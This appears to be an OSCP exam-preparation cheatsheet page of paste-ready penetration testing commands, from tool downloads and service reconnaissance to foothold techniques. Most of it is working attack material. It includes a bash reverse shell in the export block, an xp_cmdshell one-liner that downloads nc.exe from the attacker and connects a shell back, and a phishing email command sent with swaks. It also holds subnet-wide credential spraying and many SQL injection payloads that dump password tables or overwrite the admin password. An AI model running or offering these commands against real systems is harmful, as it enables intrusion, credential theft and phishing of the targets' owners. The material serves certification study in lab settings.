Cheatsheet
Set the variables once, paste the export block, then every command below works as-is
variables
Values live in this browser only — nothing is sent anywhere, and they are still here next time you open the page.
paste this into a fresh terminal
export lport=9001export workdir=.export rev="bash -c \"bash -i >& /dev/tcp/$lhost/$lport 0>&1\""export newpass=Pass4Pentest1export fakepc="FAKE01$"export fakepass="FakePass123!"export spn=fake/kerberoastexport userlist="$workdir/users.md"export passlist="$workdir/passwords.md"export rockyou=/usr/share/wordlists/rockyou.txtexport seclists=/usr/share/seclistssetup
the five minutes before the first scan. Fill the panel, paste the exports, then everything below works unedited
before exam day [4]
fetch them
mkdir -p ~/tools && cd ~/toolssudo apt install -y chisel sshuttle certipy-ad peass powersploit windows-binaries mimikatz shellter python3-pyftpdlibpipx install git-dumper && pipx install wsgidav && pipx install pylnk3 && pipx install bloodyAD && pip3 install --user --break-system-packages uploadserver# windows: potatoes, runas, a real ttycurl -LO https://github.com/itm4n/PrintSpoofer/releases/latest/download/PrintSpoofer64.execurl -LO https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.execurl -LO https://github.com/tylerdotrar/SigmaPotato/releases/latest/download/SigmaPotato.execurl -LO https://github.com/antonioCoco/RunasCs/releases/latest/download/RunasCs.zip && unzip -o RunasCs.zipcurl -LO https://github.com/antonioCoco/ConPtyShell/releases/latest/download/ConPtyShell.zip && unzip -o ConPtyShell.zipcurl -LO https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1curl -LO https://github.com/CsEnox/SeManageVolumeExploit/releases/latest/download/SeManageVolumeExploit.exe# windows: ADcurl -LO https://raw.githubusercontent.com/Flangvik/SharpCollection/master/NetFramework_4.7_Any/Rubeus.execurl -LO https://raw.githubusercontent.com/Flangvik/SharpCollection/master/NetFramework_4.7_Any/Certify.execurl -LO https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/master/DomainPasswordSpray.ps1# http://localhost:8088 > download collectors > SharpHound.zip — the one that matches the server you run# sysinternalscurl -LO https://download.sysinternals.com/files/AccessChk.zip && unzip -o AccessChk.zip accesschk64.execurl -LO https://download.sysinternals.com/files/PSTools.zip && unzip -o PSTools.zip PsExec64.exe# linux, and the pivotcurl -LO https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64 && chmod +x pspy64curl -L -o kerbrute https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 && chmod +x kerbrutecurl -s https://api.github.com/repos/nicocha30/ligolo-ng/releases/latest | grep -oE 'https://[^"]+(proxy_[^"]+_linux_amd64\.tar\.gz|agent_[^"]+_(linux_amd64\.tar\.gz|windows_amd64\.zip))' | xargs -n1 curl -LOfor f in ligolo-ng_proxy_*.tar.gz; do tar xzf "$f" proxy; done; for f in ligolo-ng_agent_*linux*.tar.gz; do tar xzf "$f" agent; done; unzip -o ligolo-ng_agent_*windows*.zip agent.execurl -s https://api.github.com/repos/jpillora/chisel/releases/latest | grep -oE 'https://[^"]+windows_amd64\.gz' | xargs curl -L -o chisel.exe.gz && gunzip -f chisel.exe.gz# fresh peas — the apt ones lagcurl -LO https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.execurl -LO https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany_ofs.execurl -LO https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEAS.batcurl -LO https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.shgit clone https://github.com/bitsadmin/wesng && git clone https://github.com/ticarpi/jwt_toolls -la ~/toolskinit, klist and kdestroy, and the /etc/krb5.conf that evil-winrm -r and anything resolving a realm on its own reads. The install asks for a realm, a KDC and an admin server — the noninteractive front end skips the questions, and the "realm" card in active directory writes the file per box
which kinit || sudo DEBIAN_FRONTEND=noninteractive apt install -y krb5-userKali's two-line prompt with the date and time in it, so every screenshot carries when it was taken — the report wants the timeline. Edit ~/.zshrc by hand — in configure_prompt, under twoline), comment out the PROMPT= line and put the new one under it. Ctrl+P still toggles the one-line prompt
nano ~/.zshrc# comment out the existing line#PROMPT=$'%F{%(#.blue.green)}┌──${debian_chroot:+($debian_chroot)─}${VIRTUAL_ENV:+($(basename $VIRTUAL_ENV))─}(%B%F{%(#.red.blue)}%n'$prompt_symbol$'%m%b%F{%(#.blue.green)})-[%B%F{reset}%(6~.%-1~/…/%4~.%5~)%b%F{%(#.blue.green)}]\n└─%B%(#.%F{red}#.%F{blue}$)%b%F{reset} '# add this one beneath itPROMPT=$'%F{%(#.blue.green)}┌──${debian_chroot:+($debian_chroot)─}${VIRTUAL_ENV:+($(basename $VIRTUAL_ENV))─}(%B%F{%(#.red.blue)}%n'$prompt_symbol$'%m%b%F{%(#.blue.green)})-[%D{%d-%m-%Y %H:%M:%S}]-[%B%F{reset}%(6~.%-1~/…/%4~.%5~)%b%F{%(#.blue.green)}]\n└─%B%(#.%F{red}#.%F{blue}$)%b%F{reset} '# save, then reloadexec zshevery box [7]
scans/ for nmap, loot/ for what comes off the box, .tools/ for what goes on to it. The user and password lists start empty and grow
mkdir -p $workdir/scans $workdir/loot $workdir/.tools && cd $workdirtouch $userlist $passlistbefore anything that needs the vhost to resolve, and before any Kerberos — it fails against a bare IP
echo "$ip $domain" | sudo tee -a /etc/hostsecho "$ip $dc $domain" | sudo tee -a /etc/hostsip -4 -br addr show tun0rlwrap gives the dumb shell arrow keys and history. The loop re-arms after the shell dies
rlwrap nc -lnvp $lportwhile true; do rlwrap nc -lnvp $lport; sleep 1; donepython3 -m http.server 8000 --directory $workdir/.toolscopy what you need into .tools/ rather than hunting for it mid-box. The last line is the "before exam day" fetch
cp /usr/share/windows-resources/binaries/nc.exe $workdir/.tools/cp /usr/share/windows-resources/binaries/plink.exe $workdir/.tools/cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe $workdir/.tools/cp /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 $workdir/.tools/cp /usr/share/windows-resources/powersploit/Recon/PowerView.ps1 $workdir/.tools/cp /usr/share/peass/winpeas/winPEASx64.exe /usr/share/peass/linpeas/linpeas.sh $workdir/.tools/ls /usr/share/webshells/cp ~/tools/*.exe ~/tools/*.ps1 ~/tools/pspy64 ~/tools/agent ~/tools/linpeas.sh $workdir/.tools/ 2>/dev/nullKRB_AP_ERR_SKEW means your clock is more than 5 minutes off the DC — take the time from the DC, not the internet
sudo timedatectl set-ntp offsudo ntpdate $dcfaketime "$(ntpdate -q $dc | tail -1 | cut -d' ' -f1,2)" bashOSCP exam rules [3]
the short version of the restrictions. Tick "oscp exam" in the filter bar and the banned tools drop off this page
# banned outright: sqlmap and any automatic exploitation tool, Nessus / OpenVAS and# any mass vulnerability scanner, commercial tools (Burp Pro, Metasploit Pro),# spoofing (ARP, DNS, NBNS), AI chatbots# one target only: Metasploit exploit / auxiliary / post modules, meterpreter# msfvenom with a plain shell payload and multi/handler are fine everywhere# fine: nmap and NSE, nikto, gobuster / ffuf, hydra, nxc, impacket, bloodhound,# mimikatz, linpeas / winpeas, responder, hashcat, evil-winrm, ligoloone screenshot, interactive shell, flag and IP in the same frame. A web shell does not count
# linuxcat local.txt; id; hostname; ip acat /root/proof.txt; id; hostname; ip a# windowstype C:\Users\*\Desktop\local.txt & whoami & hostname & ipconfigtype C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfig# one pdf, through the exam portal, within 24 hours of the exam ending. The flags also go into the exam control panel as you find them, and the two must agree# every box: ip, the vulnerability, how you found it, the exploit with every change you made to it, every command in order, every screenshot# the standard: someone with your report and nothing else reproduces the chain. A missing step is a missing box# proof screenshots: the flag, an interactive shell, and ip a / ipconfig — all in one frame, for local.txt and for proof.txt# the AD set is one chain. Show the credential coming off each host and being used on the next# reverted a box after taking a flag? read the flag again before you submit itwhen stuck [2]
read this before you lose an hour. Most dead ends are a step skipped back here
# full TCP scan actually finished? UDP done? (snmp, tftp)# every service version through searchsploit — including the old-looking one# vhosts: Host header fuzz, and every name you have seen goes in /etc/hosts# web: bigger wordlist, extensions for the stack, 403 does not mean nothing, read the js# default creds for every product. admin:admin, admin:password, the product name# every username and password you have found, against every service, every box# anonymous ftp / smb / nfs / ldap — did you actually look inside?# client-side: smtp open + a name = send them a document# sudo -l / whoami /priv first, then the automated script, then read it properly# what runs as root / SYSTEM that you can write to? services, cron, scheduled tasks# internal ports — ss -tulpn / netstat -ano — something only listening on localhost# creds in configs, history, registry, the thing you logged in to the web app with# kernel / OS version against searchsploit — last, not first# on the AD set: it is not a privesc, it is a lateral move. what does bloodhound say?recon
one group per service. Scan, then work down the list for every port that answered
nmap [7]
nmap -sC -sV -Pn -T4 -oA $workdir/scans/quick $ipevery TCP port first, then go back and fingerprint whatever answered
nmap -p- --min-rate 5000 -T4 -oA $workdir/scans/all $ipnmap -sC -sV -p $(grep -oP '^\d+(?=/tcp\s+open)' $workdir/scans/all.nmap | paste -sd,) -oA $workdir/scans/svc $ipslow. Start it in another tab and get on with the TCP results. snmp (161) and tftp (69) are the ones that matter
sudo nmap -sU --top-ports 100 -T4 -oA $workdir/scans/udp $ipsudo nmap -sU -p 69,161,500,1434 -sV $ipdefault scripts first, then vuln, then everything nmap marks safe — against one port the last is quick. The ls finds the scripts written for that service
nmap -sC -sV -p $port -oA $workdir/scans/$port $ipnmap -Pn -sV --script vuln -p $port $ipnmap -Pn -sV --script "safe and not broadcast" -p $port $ipls /usr/share/nmap/scripts | grep -i <service>ttl 128 is windows, 64 is linux. 88 + 389 + 445 together is a domain controller — set DC
ping -c 1 $ip | grep -oE 'ttl=[0-9]+'nmap -p 88,135,139,389,445,636,3268,3389,5985 $ipsearchsploit --nmap $workdir/scans/svc.xmlthe .xml from -oA in, a checklist per port out — hacktricks page and methodology for every service, commands pointed at the box. Save it next to the scans and tick it off as you go
curl -sS --data-binary @$workdir/scans/svc.xml https://bokkapig.com/api/checklist -o $workdir/checklist.mdwget -qO $workdir/checklist.md --post-file=$workdir/scans/svc.xml https://bokkapig.com/api/checklistweb [12]
whatweb http://$ipcurl -sI http://$ipcurl -s http://$ip | grep -oE '(href|src)="[^"]+"' | sort -ucurl -s http://$ip/robots.txtextensions matter more than the wordlist — php for apache, aspx for IIS, nothing for an API
gobuster dir -u http://$ip -w /usr/share/wordlists/dirb/common.txt -t 50gobuster dir -u http://$ip -w $seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,bak,zip -t 50feroxbuster -u http://$ip -w $seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,bak -kffuf -u http://$ip/FUZZ -w $seclists/Discovery/Web-Content/raft-medium-files.txt -fc 404gobuster dir -u http://$ip:$port -w $seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,aspx -t 50ffuf -u http://$ip/api/FUZZ -w $seclists/Discovery/Web-Content/api/api-endpoints.txt -fc 404curl -s http://$ip/api/ | jq .nikto -h http://$ip -p $portthe whole list in one go — read the 200s, ignore the 404s
for p in robots.txt sitemap.xml .git/ .svn/ .env .htaccess backup/ admin/ phpinfo.php server-status .DS_Store web.config composer.json package.json wp-login.php; do printf '%-20s %s\n' "$p" "$(curl -s -o /dev/null -w '%{http_code} %{size_download}' http://$ip/$p)"donegit-dumper http://$ip/.git/ $workdir/loot/gitcd $workdir/loot/git && git log --all --oneline && git diff HEAD~5raise -fs to the size of the default response if every name answers
ffuf -u http://$ip -H "Host: FUZZ.$domain" -w $seclists/Discovery/DNS/subdomains-top1million-20000.txt -fs 0gobuster vhost -u http://$ip --domain $domain -w $seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domainffuf -u "http://$domain/index.php?FUZZ=1" -w $seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 0wpscan --url http://$domain --enumerate p,t,u --plugins-detection aggressivewpscan --url http://$domain -U $user1 -P $rockyoucewl -d 2 -m 5 -w $passlist http://$ipcurl -s http://$ip | grep -oE '[a-zA-Z]{5,}' | sort -u >> $passlistthe author field in a pdf or docx is a username convention for free
exiftool -Author -Creator -LastModifiedBy $workdir/loot/*.pdf $workdir/loot/*.docx 2>/dev/nullsmb [7]
nxc smb $ipnxc smb $ip -u '' -p '' --shares --pass-polnxc smb $ip -u guest -p '' --sharessmbclient -N -L //$ipsmbmap -H $ipsmbmap -H $ip -u guestenum4linux-ng -A $ipwhen guest authenticates but null does not — treat guest as a real credential and rerun everything with it
nxc smb $ip -u guest -p '' --shares --pass-pol --userssmbclient -L //$ip -U 'guest%'rpcclient -U 'guest%' $ip -c 'enumdomusers;querydominfo'nxc smb $ip -u $user1 -p $pass1 --shares --users --groups --loggedon-users --pass-polnxc smb $ip -u $user1 -H $hash1 --sharessmbmap -H $ip -u $user1 -p $pass1 -rsmbclient "//$ip/SHARE" -U "$domain/$user1%$pass1"smbclient "//$ip/SHARE" -U "$domain/$user1" --pw-nt-hash $hash1read on IPC$ is enough, so this works from a null or guest session on most DCs — usually the fastest way to a full user list
nxc smb $ip -u guest -p '' --rid-brute 10000impacket-lookupsid guest@$ip -no-pass 10000impacket-lookupsid guest@$ip -no-pass 10000 | grep SidTypeUser | cut -d'\' -f2 | cut -d' ' -f1 | sort -u >> $userlistinventory before you download — a share can be three files or a 2 GB backup
nxc smb $ip -u $user1 -p $pass1 -M spider_plussmbclient "//$ip/SHARE" -U "$domain/$user1%$pass1" -c 'prompt OFF; recurse ON; lcd '"$workdir"'/loot; mget *'smbget -R "smb://$ip/SHARE" -U $user1sudo mount -t cifs "//$ip/SHARE" /mnt/smb -o user=$user1,pass=$pass1grep -rniE 'pass(word)?|pwd|cpassword|secret|api[_-]?key|ConvertTo-SecureString' $workdir/lootfind $workdir/loot -type f \( -name '*.ps1' -o -name '*.bat' -o -name '*.vbs' -o -name '*.xml' \ -o -name '*.config' -o -name '*.kdbx' -o -name '*.vhdx' -o -name 'id_rsa*' \)nmap --script 'smb-vuln*' -Pn -p 139,445 $ipnmap --script smb-enum-shares,smb-enum-users -p 445 $iprpc & ldap [5]
0x1f4 is RID 500, the built-in Administrator — queryuser on it tells you the real admin name
rpcclient -U '' -N $ip -c 'enumdomusers;enumdomgroups;querydominfo;getdompwinfo'rpcclient -U "$domain/$user1%$pass1" $ip -c 'enumdomusers;queryuser 0x1f4;querygroupmem 0x200'rpcclient -U "$domain/$user1%$pass1" $ip -c 'enumdomusers' | grep -oP '\[\K[^\]]+' | awk 'NR%2==1' >> $userlistldapsearch -x -H "ldap://$ip" -s base namingcontextsldapsearch -x -H "ldap://$ip" -b "DC=$(echo $domain | sed 's/\./,DC=/g')"ldapsearch -x -H "ldap://$dc" -b "DC=$(echo $domain | sed 's/\./,DC=/g')" "(objectClass=user)" sAMAccountName description | grep -E '^(sAMAccountName|description)'ldapsearch -x -H "ldap://$dc" -D "$user1@$domain" -w "$pass1" -b "DC=$(echo $domain | sed 's/\./,DC=/g')" "(objectClass=user)" sAMAccountName description memberOfnxc ldap $dc -u $user1 -p $pass1 -M get-desc-usersldapdomaindump -u "$domain\\$user1" -p "$pass1" -o $workdir/loot/ldap $dcno creds, no lockout — kerberos answers differently for a user that exists
kerbrute userenum -d $domain --dc $dc $seclists/Usernames/xato-net-10-million-usernames.txtkerbrute userenum -d $domain --dc $dc $userlistdns [2]
dig any $domain @$ipdig axfr $domain @$iphost -t ns $domain $ipnslookup $ip $ipdnsrecon -d $domain -n $ip -adnsenum --dnsserver $ip --enum -f $seclists/Discovery/DNS/subdomains-top1million-5000.txt $domainffuf -u http://FUZZ.$domain -w $seclists/Discovery/DNS/subdomains-top1million-20000.txt -fs 0ftp [3]
ftp anonymous@$ipnmap --script ftp-anon,ftp-syst,ftp-vsftpd-backdoor -p 21 $ipwget -m --no-passive ftp://anonymous:anonymous@$ip -P $workdir/lootwget -m "ftp://$user1:$pass1@$ip" -P $workdir/lootbinary before any transfer, or you will corrupt executables. Can you put? Then it is a webroot, maybe
ftp $user1@$ip# binary# prompt off# mget *# put shell.phpsmtp [2]
nmap -p 25 --script smtp-commands,smtp-enum-users $ipsmtp-user-enum -M VRFY -U $userlist -t $ipnc -nv $ip 25# VRFY rootswaks --to $user1@$domain --from it@$domain --server $ip --header "Subject: password reset" --body "http://$lhost:8000/" --attach @$workdir/.tools/doc.docmsnmp [3]
udp 161. The mib walk is slow but it hands you users, processes, ports and sometimes a password in a process argument
onesixtyone -c $seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt $ipsnmpwalk -v2c -c public $ip > $workdir/loot/snmp.mdsnmpbulkwalk -v2c -c public -Oa $ip > $workdir/loot/snmp.mdsnmp-check $ipsnmpwalk -v2c -c public $ip 1.3.6.1.4.1.77.1.2.25 # userssnmpwalk -v2c -c public $ip 1.3.6.1.2.1.25.4.2.1.2 # running processessnmpwalk -v2c -c public $ip 1.3.6.1.2.1.25.4.2.1.5 # process arguments — passwords live heresnmpwalk -v2c -c public $ip 1.3.6.1.2.1.6.13.1.3 # tcp portssnmpwalk -v2c -c public $ip 1.3.6.1.2.1.25.6.3.1.2 # installed softwaresnmpwalk -v2c -c public $ip 1.3.6.1.2.1.25.2.3.1.3 # storagenfs [2]
showmount -e $ipsudo mount -t nfs -o nolock,vers=3 "$ip:/export" /mnt/nfsls -la /mnt/nfsowned by a uid you do not have — make a local user with that uid and you do
sudo useradd -u 1001 nfsusersudo -u nfsuser cat /mnt/nfs/filedatabases [5]
mysql -h $ip -u $user1 -p"$pass1"mysql -h $ip -u rootmysql -h $ip -u $user1 -p"$pass1" -e "SHOW DATABASES; SELECT user,authentication_string FROM mysql.user;"nmap -p 1433 --script ms-sql-info,ms-sql-ntlm-info,ms-sql-empty-password $ipimpacket-mssqlclient "$domain/$user1:$pass1@$ip" -windows-authimpacket-mssqlclient "$user1:$pass1@$ip"nxc mssql $ip -u $user1 -p $pass1 --local-authmssqlclient has a helper for each of the usual moves. xp_cmdshell is off by default and only a sysadmin turns it on. Not sysadmin? Look for a login you can impersonate, or a linked server where you are, and run the same thing there
SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin');enable_xp_cmdshellxp_cmdshell whoamixp_cmdshell "powershell -c iwr http://$lhost:8000/nc.exe -OutFile C:\Windows\Temp\nc.exe; C:\Windows\Temp\nc.exe $lhost $lport -e cmd"enum_impersonateexec_as_login saenum_linksuse_link SRV02xp_dirtree \\$lhost\xpsql "postgresql://$user1:$pass1@$ip:5432/postgres"psql -h $ip -U postgresredis-cli -h $ip INFOredis-cli -h $ip --scanrdp & winrm [3]
rdp-ntlm-info leaks the hostname and domain with no creds at all
nmap -p 3389 --script rdp-ntlm-info,rdp-enum-encryption $ipnxc rdp $ip -u $user1 -p $pass1xfreerdp /v:$ip /u:$user1 /p:$pass1 /d:$domain /cert:ignore /dynamic-resolution +clipboard /drive:share,$workdir/.toolsxfreerdp /v:$ip /u:$user1 /pth:$hash1 /cert:ignore5985. nxc says Pwn3d! when the creds give a shell
nxc winrm $ip -u $user1 -p $pass1evil-winrm -i $ip -u $user1 -p $pass1evil-winrm -i $ip -u $user1 -H $hash1run this against every host as soon as you land any credential. Pwn3d! means local admin
nxc smb $ip -u $user1 -p $pass1nxc smb $subnet -u $user1 -p $pass1nxc winrm $subnet -u $user1 -p $pass1nxc rdp $subnet -u $user1 -p $pass1nxc ssh $subnet -u $user1 -p $pass1other ports [3]
rsync --list-only rsync://$ip/rsync -av "rsync://$ip/share" $workdir/loot/rsynctftp $ip -c get file.txtnmap -sU -p 69 --script tftp-enum $ipnc -nv $ip $portopenssl s_client -connect $ip:$portcurl -sv telnet://$ip:$portnmap -sV --script banner -p $port $ipfoothold
turning what recon found into a shell. Public exploit first, then the web app, then passwords
public exploits [6]
search the product, then the version. -m copies it here, -x reads it without copying
searchsploit <product>searchsploit <product> <version> --exclude="(PoC)|/dos/"searchsploit -x <id>searchsploit -m <id>searchsploit -uwhere does it connect, what does it write, what is hardcoded. Half of them want the host and port edited by hand
grep -nE 'lhost|RHOST|lhost|rhost|host *=|port *=|http://|cmd *=' exploit.pysed -i 's/\r$//' exploit.py2to3 -w exploit.py && python3 exploit.py-m32 for a 32-bit target (apt install gcc-multilib). -static when the target's libc is older than yours. Compile on the box if it has gcc
gcc exploit.c -o exploitgcc -m32 -static exploit.c -o exploitgcc -pthread exploit.c -o exploit -lcryptapt install mingw-w64. -lws2_32 for anything that touches sockets
x86_64-w64-mingw32-gcc exploit.c -o exploit.exei686-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32x86_64-w64-mingw32-gcc dll.c --shared -o evil.dllexploit and auxiliary modules count against your one target. multi/handler with a plain shell payload is fine anywhere
msfconsole -qsearch <cve>use exploit/...; set RHOSTS $ip; set lhost $lhost; set lport $lport; runa listener that survives a staged payload. Plain shell payloads do not count as meterpreter
msfconsole -q -x "use multi/handler; set payload windows/x64/shell_reverse_tcp; set lhost $lhost; set lport $lport; run -j"web — sqli [21]
confirmed is the start, not the finish. Work in this order — where the quote actually breaks, which database, which of the four routes out (union, error, boolean, time), then enumerate. Every payload below assumes a single quote broke the query; for a numeric parameter drop the leading quote and keep the rest
an error is not proof and no error is not a no. The pair is the proof — true renders the page, false does not, and both are valid SQL. Work out the closing characters first, because every payload after this depends on them
' " `') ") ')) ")) ' AND '1'='1-- - vs ' AND '1'='2-- -1 AND 1=1 vs 1 AND 1=21*1 vs 1*01-0 vs 1-1-- - # ;%00 /* the comment that works tells you the engine toothe id in the url is the one everybody tries. On a box that has been solved a hundred times the hole is usually somewhere else
?id=1 ?sort=name ?order=ASC ?limit=10 ?search=x ?page=2# every POST field, not just the obvious one — intercept the form and test eachCookie: sess=1' X-Forwarded-For: 1' User-Agent: 1' Referer: 1'{"id":"1'"} {"username":"admin'-- -","password":"x"}# ORDER BY takes no quotes and no UNION — use a CASE or a time payload?sort=(CASE WHEN (1=1) THEN name ELSE id END)# second order: the value is stored now and concatenated into a query later.# register the username admin'-- - then use the change-password formthe syntax splits on this. Guess from the stack if you can — php/apache means mysql, .NET/IIS means mssql, python/flask usually postgres or sqlite
' UNION SELECT @@version-- - mysql or mssql' UNION SELECT version()-- - postgres or mysql' UNION SELECT banner FROM v$version-- - oracle' UNION SELECT sqlite_version()-- - sqlite' AND 1=CONVERT(int,@@version)-- mssql, prints in the error# no output anywhere? fingerprint by what does not error' AND CONCAT('a','b')='ab'-- - mysql' AND 'a'||'b'='ab'-- - postgres, oracle, sqlite' AND 'a'+'b'='ab'-- mssql' AND SUBSTR('abc',1,1)='a'-- - oracle, postgres, sqlite' AND LENGTH('abc')=3-- - everything but mssql, which wants LEN()UNION needs the same column count both sides. ORDER BY until it errors is the quick way, NULLs are the reliable one — a NULL fits any column type
' ORDER BY 1-- -' ORDER BY 5-- - keep raising it; the last number that does not error is the count' GROUP BY 1,2,3,4-- -' UNION SELECT NULL-- -' UNION SELECT NULL,NULL-- -' UNION SELECT NULL,NULL,NULL-- -' UNION SELECT NULL,NULL FROM dual-- - oracle needs a FROM on every SELECTthe union row only shows if the original query returns nothing, so break the first half first. Then find a column that holds a string — numbers-only columns will error on a text value
-1' UNION SELECT 1,2,3-- -' UNION SELECT 'a','b','c'-- - whichever letter appears is your slot?id=99999' UNION SELECT 1,2,3-- -# only one slot prints? pack everything into it' UNION SELECT 1,CONCAT(username,':',password),3 FROM users-- - mysql' UNION SELECT 1,username||':'||password,3 FROM users-- - postgres, oracle, sqlite' UNION SELECT 1,username+':'+password,3 FROM users-- mssqlGROUP_CONCAT collapses every row into one string, so you get the whole table in a single request. 0x3a is a colon and 0x0a a newline — hex avoids quotes the filter might eat
' UNION SELECT 1,@@version,database()-- -' UNION SELECT 1,user(),@@datadir-- -' UNION SELECT 1,GROUP_CONCAT(schema_name),3 FROM information_schema.schemata-- -' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -' UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='users'-- -' UNION SELECT 1,GROUP_CONCAT(username,0x3a,password SEPARATOR 0x0a),3 FROM users-- -' UNION SELECT 1,GROUP_CONCAT(user,0x3a,authentication_string),3 FROM mysql.user-- -no GROUP_CONCAT. STRING_AGG on 2017 and up; older than that, walk the rows with NOT IN and a growing list of what you have already read
' UNION SELECT 1,@@version,DB_NAME()-- ' UNION SELECT 1,SYSTEM_USER,USER_NAME()-- ' UNION SELECT 1,name,3 FROM master..sysdatabases-- ' UNION SELECT 1,name,3 FROM sysobjects WHERE xtype='U'-- ' UNION SELECT 1,name,3 FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')-- ' UNION SELECT 1,(SELECT STRING_AGG(CONCAT(username,':',password),CHAR(10)) FROM users),3-- ' UNION SELECT 1,username,password FROM users WHERE username NOT IN ('admin')-- ' AND 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))-- 1 means you can turn on xp_cmdshellstring_agg is the GROUP_CONCAT equivalent. pg_shadow needs superuser and holds the md5 hashes of the database logins
' UNION SELECT 1,version(),current_database()-- -' UNION SELECT 1,current_user,3-- -' UNION SELECT 1,string_agg(table_name,','),3 FROM information_schema.tables WHERE table_schema='public'-- -' UNION SELECT 1,string_agg(column_name,','),3 FROM information_schema.columns WHERE table_name='users'-- -' UNION SELECT 1,string_agg(username||':'||password,chr(10)),3 FROM users-- -' UNION SELECT 1,string_agg(usename||':'||passwd,','),3 FROM pg_shadow-- -' AND 1=(SELECT usesuper FROM pg_user WHERE usename=current_user)::int-- -oracle wants a FROM on every SELECT and dual is the stand-in. In sqlite the whole schema is one column of CREATE statements, so you never need an information_schema
' UNION SELECT NULL,banner,NULL FROM v$version-- -' UNION SELECT NULL,user,NULL FROM dual-- -' UNION SELECT NULL,table_name,NULL FROM all_tables-- -' UNION SELECT NULL,column_name,NULL FROM all_tab_columns WHERE table_name='USERS'-- -' UNION SELECT 1,sqlite_version(),3-- -' UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- -' UNION SELECT 1,sql,3 FROM sqlite_master WHERE name='users'-- -' UNION SELECT 1,group_concat(username||':'||password),3 FROM users-- -when the page shows a database error and no query results. The trick is always the same — force a type conversion that fails, and the value you wanted lands in the error message
' AND extractvalue(1,concat(0x7e,(SELECT database())))-- -' AND updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())),1)-- -' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT version()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y)-- -# extractvalue truncates at 32 characters — SUBSTRING along for the rest' AND extractvalue(1,concat(0x7e,SUBSTRING((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables),32,32)))-- -' AND 1=CONVERT(int,(SELECT @@version))-- ' AND 1=CONVERT(int,(SELECT TOP 1 name FROM sysobjects WHERE xtype='U'))-- ' AND 1=CAST((SELECT version()) AS int)-- -no output and no error, but the page changes. Pick anything that differs between true and false — a word, the status code, the content length — and grep for it. Count the length first so you know when to stop
' AND LENGTH(database())=4-- -' AND SUBSTRING(database(),1,1)='a'-- -' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>96-- -' AND (SELECT COUNT(*) FROM users)>5-- -curl -s "http://$ip/x.php?id=1' AND SUBSTRING(database(),1,1)='a'-- -" | grep -c Welcomefor i in $(seq 1 40); do for c in {a..z} {0..9} _ -; do curl -s "http://$ip/x.php?id=1'+AND+SUBSTRING((SELECT+password+FROM+users+LIMIT+1),$i,1)='$c'--+-" | grep -q Welcome && { printf '%s' "$c"; break; }done; done; echoffuf -u "http://$ip/x.php?id=1'+AND+SUBSTRING(database(),1,1)='FUZZ'--+-" -w chars.md -fr "No results"the last resort — same page whatever you send. Slow and noisy, so prove the condition works with a flat 5 second sleep before you start walking characters
' AND SLEEP(5)-- -' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)-- -'; WAITFOR DELAY '0:0:5'-- ' IF (SUBSTRING((SELECT TOP 1 name FROM sysobjects),1,1)='a') WAITFOR DELAY '0:0:5'-- ' AND 1=(SELECT 1 FROM PG_SLEEP(5))-- -' AND (SELECT CASE WHEN (SUBSTR(current_database(),1,1)='a') THEN PG_SLEEP(5) ELSE PG_SLEEP(0) END)IS NOT NULL-- -' AND 1=(CASE WHEN (1=1) THEN dbms_pipe.receive_message('a',5) ELSE 1 END)-- -curl -s -o /dev/null -w '%{time_total}\n' "http://$ip/x.php?id=1'+AND+SLEEP(5)--+-"a second statement after a semicolon. php with mysqli will not stack, mssql and postgres nearly always will — and stacking is what turns a read into a write. Test with a harmless SELECT before anything else
'; SELECT 1;-- - no error means stacking works'; INSERT INTO users (username,password) VALUES ('pwn','21232f297a57a5a743894a0e4a801fc3');-- -'; UPDATE users SET password='21232f297a57a5a743894a0e4a801fc3' WHERE username='admin';-- -# that hash is md5("admin"). Read the old value out first and put it back after —# a changed admin password is a change to the box, and the next tester is you at 3amthe form is a query too. If the password check is a lookup rather than a comparison, a union row of your own walks you in
admin'-- -admin'#admin' OR '1'='1'-- -' OR 1=1 LIMIT 1-- -') OR ('1'='1' UNION SELECT 1,'admin','21232f297a57a5a743894a0e4a801fc3'-- -admin' AND SUBSTRING(password,1,1)='a'-- - the login itself is the oraclea blocked keyword is not a blocked injection. Work out what exactly is being eaten — one word, the quote, the space, the comment — then pick the bypass for that one thing
